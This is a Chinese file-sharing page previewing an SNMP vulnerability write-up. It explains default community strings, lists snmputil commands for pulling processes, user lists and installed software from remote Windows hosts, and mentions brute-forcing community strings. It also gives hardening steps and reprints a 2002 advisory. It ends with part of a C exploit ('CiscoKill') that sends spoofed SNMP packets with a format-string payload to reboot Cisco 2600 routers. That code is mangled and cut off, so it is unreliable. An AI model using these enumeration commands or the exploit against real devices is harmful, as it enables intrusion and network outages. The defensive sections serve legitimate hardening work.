snmp協議漏洞分析.doc_第1頁
snmp協議漏洞分析.doc_第2頁
snmp協議漏洞分析.doc_第3頁
snmp協議漏洞分析.doc_第4頁
snmp協議漏洞分析.doc_第5頁
已閱讀5頁,還剩13頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

、snmp簡單網絡管理協議漏洞分析簡單網絡管理協議(SNMP)是一個可以遠程管理計算機和網絡設備的協議.有兩種典型的遠程監控模式.他們可以粗略地分為讀和寫(或者是PUBLIC和PRIVATE).如果攻擊者能猜出一個PUBLIC團體串值,那么他就可以從遠程設備讀取SNMP數據.這個信息可能包括系統時間,IP地址,接口,運行著的進程,etc等.如果攻擊者猜出一個PRIVATE團體串值(寫入或完全控制,他就有更改遠程機器上信息的能力.這會是一個極大的安全漏洞,能讓攻擊者成功地破壞網絡,運行的進程,ect.其實,完全控制會給遠程攻擊者提供在主機上的完全管理權限.更多信息請參見:/exploi . _vulnerability.html_SNMP Agent responded as expected with community name: publicCVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986NESSUS_ID : 10264Other references : IAVA:2001-B-0001SNMP服務在UDP 161/162端口監聽用法:snmputil walk IP public OID-OID-含義-...2.1.2 獲取系統進程... 獲取用戶列表...4.1.0 獲取域名...3.1.2 獲取安裝的軟件..2.1.1 獲取系統信息-掃描到的一個報告:. 端口snmp (161/udp)發現安全漏洞 : Snmp口令: public. 端口snmp (161/udp)發現安全提示 : sysDescr.0 = Draytek V3300 Advanced Router sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds sysContact.0 = adminrouter sysName.0 = V3300c sysLocation.0 = Hsin Chu sysServices.0 = 0目的:得到遠程目標的系統敏感信息簡單 利用方法這里的public使用來查詢對方信息時所用到的密碼具體的做法:要用到一個叫snmputil的東西,這個東西在win2000的resource kit中有,通過它我們可以通過snmp服務來查看對方的一些信息格式:snmputil get(or walk or getnext) public oidget和括號里的時獲取對方機器信息的一種方法,public就是查尋的時候要用的密碼。oid是被查詢設備的ID號碼例如:snmputil walk 11 public ...2.1.2snmputil walk ip public ...2.1.2(列出系統進程)snmputil walk ip public ...(列出系統用戶列表)snmputil get ip public ...4.1.0(列出域名)snmputil walk ip public ...3.1.2(列出安裝軟件)snmputill walk ip public ..2.1(列出系統信息)-關于掃描中snmp信息的利用對于完全安裝的WIN2K或者說啟動了 簡單網絡管理協議(SNMP)的系統來說,仍然將存在 非常致命的隱患,完全將你的系統暴露給所有人。 一、從SNMP說起 SNMP,Simple Network Management Protocol,簡單網絡管理協議。用于管理IP網絡上結點的協議。 幾乎所有的網絡設備和網絡操作系統都支持SNMP。 接下來要介紹的是:community strings, 理解成為基于SNMP協議信息通信時使用的一種“查詢密碼”應該不為過吧。 當使用特殊的客戶端應用程序,通過該“查詢密碼”community strings的驗證,將獲得 對應的權限(只讀 或者 讀寫)對SNMP中管理信息庫(MIB)進行訪問。 而管理信息庫(MIB)中則保存了系統所有的重要信息。 也就是說,如果可以知道community strings 這個“查詢密碼”,我們就可以刺探系統的信息了。 比較遺憾的是,很多網絡設備廠商以及操作系統廠商,在初始狀態下,都使用比較 統一的“查詢密碼”呵呵,這也就給我們提供了足夠的方便。 二、對WIN2K進行刺探掃描 以WIN2K來說,一旦安裝并啟動了簡單網絡管理協議,系統將打開 UDP 161 snmp UDP 162 snmptrap 兩個端口。 具體做什么我們不去細究。需要注意的是,這里使用的是UDP端口,而不是TCP端口。 同時,WIN2K系統支持初始的“查詢密碼”community strings 為:public 我們只要通過一款Resource Kit里面的工具snmputil,就可以方便的獲得非常多的信息。 在這里可以下載:/abu/tools/win/snmputil.exe . NEkm0m&hl=zh-CN簡單介紹一下用法 snmputil,就是程序名拉,呵呵。 get,就理解成獲取一個信息。 getnext,就理解成獲取下一個信息。 walk,就理解成獲取一堆信息(嗯,應該說所有數據庫子樹/子目錄的信息) agent,具體某臺機器拉。 community,嗯就是那個“community strings”“查詢密碼”拉。 oid,這個要多說一下,這個呢,就是物件識別代碼(Object Identifier)。 可以把oid理解成MIB管理信息庫中各種信息分類存放樹資源的一個數字標識。 嘗試獲得對方機器當前進程列表 snmputil.exe walk 對方ip public ...2.1.2 嘗試獲得對方機器系統用戶列表 snmputil walk 對方ip public ... 整理一些列在下面: snmputil walk 對方ip public ...2.1.2 列出系統進程 snmputil walk 對方ip public ... 列系統用戶列表 snmputil get 對方ip public ...4.1.0 列出域名 snmputil walk 對方ip public ...3.1.2 列出安裝的軟件 snmputil walk 對方ip public ..2.1.1 列出系統信息 三、一些工具的推薦 snmputil的功能已經完全足夠用來進行對網絡主機的刺探掃描了,只是因為它是命令行下的工具 而且,超常的oid標識符也并不是那么方便輸入。 這里我推薦兩款非常不錯的網絡管理工具,當然,它們的另一個作用就是snmp的刺探。 SolarWinds 2001的IP Network Browser IP Network Browser是一款snmp瀏覽工具,它可以提供在輸入正確的community strings“查詢密碼” 后的運行著snmp服務的WIN2K/NT系統上的任何可得的信息。 在下圖中,我們可以看到“查詢密碼”為:public 而在Accounts(賬號)表單里,我們已經獲得了同上面snmputil命令行方式一樣的反饋信息。 功能強大噢。 整個SolarWinds 軟件套件更包含了更多的網絡管理工具,以后我將在其他的文章里繼續介紹。 LANguard Network Scanner 2.0 這是一個網絡安全綜合掃描工具,主要功能:顯示每臺主機的NETBIOS主機名,MAC地址,搜尋 共享,操作系統類型判斷,并測試共享密碼的安全性等等,以html格式輸出。 當然,LANguard Network Scanner還有一些更高級更適用的功能 比如暴力破解community strings,呵呵自己配置一個字典的話 會非常有效的。 四、如何防范基于snmp的刺探掃描 首先需要注意的是,snmp服務的通訊端口是UDP端口,這也就是大部分網絡管理人員很容易忽略的地方。 往往某些網管配置服務器阻斷了NetBIOS空會話的建立,就認為系統安全有了相當的保障,可由于安裝 了SNMP服務,不知不覺中,就給系統帶去了極大的隱患。 最方便和容易的解決方法,就是關閉SNMP服務,或者卸載掉該服務。 如果關掉SNMP服務不方便的話,那么可以通過修改注冊表或者直接修改圖形界面的SNMP服務屬性 進行安全配置。 開始程序管理工具服務SNMP Service屬性安全 在這個配置界面中,可以修改community strings,也就是微軟所說的“團體名稱”,呵呵,也就是 我所說的“查詢密碼”。或者可以配置是否從某些安全主機上才允許SNMP查詢。 不過NT4環境下的朋友就必須修改注冊表了。 修改community strings,在 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMPParametersValidCommunities 下,將public的名稱修改成其它的名稱就可以了。 如果要限定允許的ip才可以進行SNMP查詢,可以進入 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMPParametersPermittedManagers 添加字符串,名稱為“1”,內容為要允許的主機IP。 當然,如果允許多臺機器的話,就要名稱沿用“2、3、4”等名稱了。 -附帶資料:SNMP協議實現存在多個漏洞-來源:類別:系統漏洞日期:2002-6-22 8:08:04涉及程序: SNMP協議和各種網絡設備 描述: snmp協議實現機制存在多個漏洞嚴重危害互聯網基礎安全 詳細: 背景:ASN No.1信令為抽象數據類型形式的標準,1984年以來,被用于編寫和發送復雜的數據結構。這個語言從80年代開始衍生出了多個通信協議和應用,是電信業、電力業和核電業計算機網絡基礎信令。也是互聯網賴以運行的基礎通信規則之一。全球級計算機安全專家正在調查ASN N0.1信令的安全脆弱性。這些脆弱性嚴重威脅互聯網基礎設施安全,黑客可以開發攻擊程序,關閉ISP的骨干路由器、交換機和眾多的基礎網絡設備。最終破壞性的后果將是引起互聯網癱瘓。業界和政府的計算機安全專家門早就在關注這些問題。CNNS的安全專家早在1999年就發現很多電信公司的骨干路由器有致命缺陷。在那個時候,只需要很簡單的操作,就可以引起大規模的網絡癱瘓。舉一個例子,一個顯著的漏洞特征曾經出現在臺灣中華電信,1999年如果有黑客施之以簡單攻擊,整個臺灣地區大約65%的用戶就不再能上網。由于ASN No.1信令的安全脆弱性,超過100家計算機網絡設備的提供商將付出代價。彌補這些缺陷的投入將超過1億美金。數百家網絡設備提供商在今年早期就獲得警告。如今已經紛紛給出解決方案。由于多個internet通信協議都是基于ASN No.1計算機網絡語言,ASN No.1的脆弱性將廣泛威脅通信行業。最為顯著的例子就是造成SNMP協議多個安全漏洞。相同的問題還影響至少其它三個互聯網協議,在這里不做詳細敘述。Oulu University Secure Programming Group (OUSPG,http:/www.ee.oulu.fi/research/ouspg/)長期專注于SNMP協議的研究,并披露了這個嚴重的安全系列問題。 =多個計算機網絡設備廠商的產品存在由于snmp協議脆弱性引起的多個漏洞,這些缺陷可能允許非法越權訪問、拒絕服務攻擊、導致不穩定的運行狀況。Simple Network Management Protocol (SNMP)協議被廣泛用于網絡設備的監控和管理。SNMPv1定義了多個類型的SNMP訊息,如請求信息、配置改變、請求響應、SNMP對象列舉,和主動的警報發送。一、SNMPv1跟蹤消息處理系列缺陷SNMP代理(SNMP agents)發送跟蹤消息(SNMP trap messages)到管理器(SNMP manager),向管理器報告錯誤信息、警報和其它的有關宿主的狀態信息。管理器必須解析和處理這些數據。OUSPG發現很多SNMP管理器在解析和處理過程中存在缺陷。二、SNMPv1請求信息處理系列缺陷SNMP請求信息是從管理器向snmp agent代理發出的。請求信息用于獲取代理信息或指示snmp agent配置設備參數。SNMP agent代理必須正確解碼和處理該信息。在解碼以及隨后的數據處理過程中,代理和管理器都有出現拒絕服務錯誤、格式化字符串錯誤和緩沖溢出攻擊的可能。有的攻擊甚至不需要提供正確的SNMP community string(SNMP協議設置的一個關鍵參數,有點類似口令)。這些漏洞可以導致拒絕服務、服務中斷,還有一些情況下可以允許攻擊者獲取設備的非法訪問權限。攻擊對于不同的產品有不同的影響。 解決方案: 本站列出了一百多個全球大廠商關于這個安全問題的響應和有關信息:/patch/vendor.htm請注意,以下的安全措施對于您的網絡日常維護和網絡設置構架可能有重大的影響。要確保以下措施的結果不會影響網絡運行性能。1、從廠商獲得補丁程序并執行/patch/vendor.htm提供了廠商有關該安全性問題的信息。2、禁止SNMP服務CNNS建議您禁止所有不必要運行的服務,包括SNMP。不幸的是,有些產品在SNMP服務被禁止的情況下會有意外情況發生或者拒絕服務。如果是這樣的話,必須執行更高級的安全設置。3、邊界訪問過濾臨時的措施是,在網絡邊界禁止不良信息流進入內部網絡或者發往外部網絡。對于網絡管理者來說,比較有力的措施是通過防火墻等過濾設備控制對SNMP服務的請求。比如,除指定的服務器外,缺省情況下通通禁止對SNMP服務的請求,以下端口的過濾有利于外部攻擊者對內部網的SNMP攻擊:snmp 161/udp # Simple Network Management Protocol (SNMP)snmp 162/udp # SNMP system management messages以下這些服務并不常用,但有些產品可能運行這些服務:snmp 161/tcp # Simple Network Management Protocol (SNMP)snmp 162/tcp # SNMP system management messagessmux 199/tcp # SNMP Unix Multiplexersmux 199/udp # SNMP Unix Multiplexersynoptics-relay 391/tcp # SynOptics SNMP Relay Portsynoptics-relay 391/udp # SynOptics SNMP Relay Portagentx 705/tcp # AgentXsnmp-tcp-port 1993/tcp # cisco SNMP TCP portsnmp-tcp-port 1993/udp # cisco SNMP TCP port過濾對這些服務的請求,必須細心慎重,以免影響正常的網絡運行。值得注意的是,SNMP守護進程可能在該設備上綁定所有的IP地址。因此,要合理考慮包過濾策略。比如,即使禁止了SNMP包直接發送給普通的網絡地址,還是有可能受到攻擊。因為攻擊者可以利用SNMP缺陷攻擊一些特殊的網絡地址,如:網絡廣播地址子網廣播地址和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。管理員可以考慮是否過濾這些數據包。但必須慎重,因為不當的設置可能影響網絡性能。最后,對以下的RPC服務的訪問也可以考慮禁止:名稱 程序ID 別名snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utksnmpv2 100138 na.snmpv2 # SNM Version 2.2.2snmpXdmid 100249值得注意的是,這些措施對內部攻擊無效。4、在內部網絡中過濾不正常的SNMP訪問。在很多網絡系統中,只有有限的網絡管理系統需要發生SNMP請求。基于這種情形,對于大多數的SNMP代理,可以設置僅接受有限幾臺主機的SNMP請求。這樣可以降低內部攻擊風險。使用這些安全措施同樣必須慎重,以免不當的設置降低網絡性能。5、修改缺省的community string很多支持SNMP服務的產品的出廠設置中,默認的community-string是public(只讀訪問)和private(讀寫訪問)。CNNS強烈建議用戶修改這兩個缺省字符串。否則攻擊者將可以通過SNMP協議修改設備的設定。修改了這兩個缺省口令后,還要防備監聽攻擊以免攻擊者獲得新的設置口令。SNMPv3對這點做了改進,參考 RFC2574。6、隔離SNMP包從網絡管理的角度,用隔離措施可以降低SNMP攻擊的風險。包括物理隔離、VLAN邏輯隔離和VPN方式的隔離。注意通過交換機做VLAN隔離將加大攻擊者攻擊難度,但理論上并不能完全杜絕這類攻擊。-攻擊方法: 范例:一、如果獲取支持SNMP協議設備的community string,在合適的環境下,攻擊者將可以:1、修改路由器配置2、獲取服務器最高控制權3、重新啟動設備 二、攻擊者在不知道community string的前提下,也能進行拒絕服務攻擊。以下這段代碼將重啟Cisco 2600路由器:/* This program send a spoofed snmpv1 get request that cause system rebooton Cisco 2600 routers with IOS version 12.0(10) Author : kunderatiscali.it . dont be lame use for testing only! . */#include #include #include #include #include #include #include #include #include struct in_addr sourceip_addr;struct in_addr destip_addr;struct sockaddr_in dest;struct ip *IP; struct udphdr *UDP; int p_number=1,sok,datasize,i=0; char *packet,*source,*target; char *packetck;char *data,c;char snmpkill = x30x81xafx02x01x00x04x06x70x75x62x6cx69x63xa0x81 xa1x02x02x09x28x02x01x00x02x01x00x30x81x94x30x81 x91x06x81x8cx4dx73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x81xffxffxffxffxffxffxffxffx7f x05;struct pseudoudp u_long ipsource;u_long ipdest;char zero;char proto;u_short length; *psudp;in_cksum (unsigned short *ptr, int nbytes)register long sum; /* assumes long = 32 bits */u_short oddbyte;register u_short answer; /* assumes u_short = 16 bits */* Our algorithm is simple, using a 32-bit accumulator (sum),* we add sequential 16-bit words to it, and at the end, fold back* all the carry bits from the top 16 bits into the lower 16 bits.*/sum = 0;while (nbytes 1)sum += *ptr+;nbytes -= 2;/* mop up an odd byte, if necessary */if (nbytes = 1)oddbyte = 0; /* make sure top half is zero */*(u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */sum += oddbyte;/* Add back carry outs from top 16 bits to low 16 bits.*/sum = (sum 16) + (sum & 0xffff); /* add high-16 to low-16 */sum += (sum 16); /* add carry */answer = sum; /* ones-complement, then truncate to 16 bits */return (answer);void usage (void)printf(Kundera CiscoKill v1.0n;printf(Usage: ciscokill -n number of packets -s source ip_addr -t ip_target n;int main(int argc,char *argv)if (argc 2)usage();exit(1);while(c=getopt(argc,argv,s:t:n:)!=EOF)switch(c) case s: source=optarg; break;case n: p_number=atoi(optarg); break;case t: target=optarg;if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW) ip_dst.s_addr = destip_addr.s_addr;IP-ip_src.s_addr = sourceip_ad

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論